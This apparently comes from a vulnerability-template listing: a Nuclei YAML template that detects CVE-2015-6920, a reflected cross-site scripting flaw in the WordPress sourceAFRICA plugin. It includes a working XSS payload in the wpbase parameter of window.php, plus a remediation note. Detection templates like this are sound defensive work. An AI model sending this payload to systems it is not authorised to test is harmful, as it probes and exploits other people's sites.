WordPress sourceAFRICA <=0.1.3 - Cross-Site Scripting

ID: CVE-2015-6920

Severity: medium

Author: daffainfo

Tags: cve2015,cve,wp-plugin,xss,packetstorm,wordpress,sourceafrica_project

Description

WordPress sourceAFRICA plugin version 0.1.3 contains a cross-site scripting vulnerability.

YAML Source

id: CVE-2015-6920

info:
  name: WordPress sourceAFRICA <=0.1.3 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress sourceAFRICA plugin version 0.1.3 contains a cross-site scripting vulnerability.
  remediation: |
    Upgrade to the latest version of WordPress sourceAFRICA (>=0.1.4) which includes a fix for this vulnerability.
  reference:
    - http://packetstormsecurity.com/files/133371/WordPress-sourceAFRICA-0.1.3-Cross-Site-Scripting.html
    - https://wpvulndb.com/vulnerabilities/8169
    - https://nvd.nist.gov/vuln/detail/CVE-2015-6920
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2015-6920
    cwe-id: CWE-79
    epss-score: 0.0016
    epss-percentile: 0.52637
    cpe: cpe:2.3:a:sourceafrica_project:sourceafrica:0.1.3:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "sourceafrica_project"
    product: sourceafrica
    framework: wordpress
  tags: cve2015,cve,wp-plugin,xss,packetstorm,wordpress,sourceafrica_project
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/sourceafrica/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'SourceAfrica'
          - 'Tags:'
        condition: and
        case-insensitive: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/sourceafrica/js/window.php?wpbase=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402203a0610500120d75f43439e5967a53eccc03d30487dc95a7efe3c2bbc136f0104022012167d3356d0ff9d3694d28128e47dfa3382dc012afa6ae516aed38ebc1cb0e9:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2015/CVE-2015-6920.yaml"

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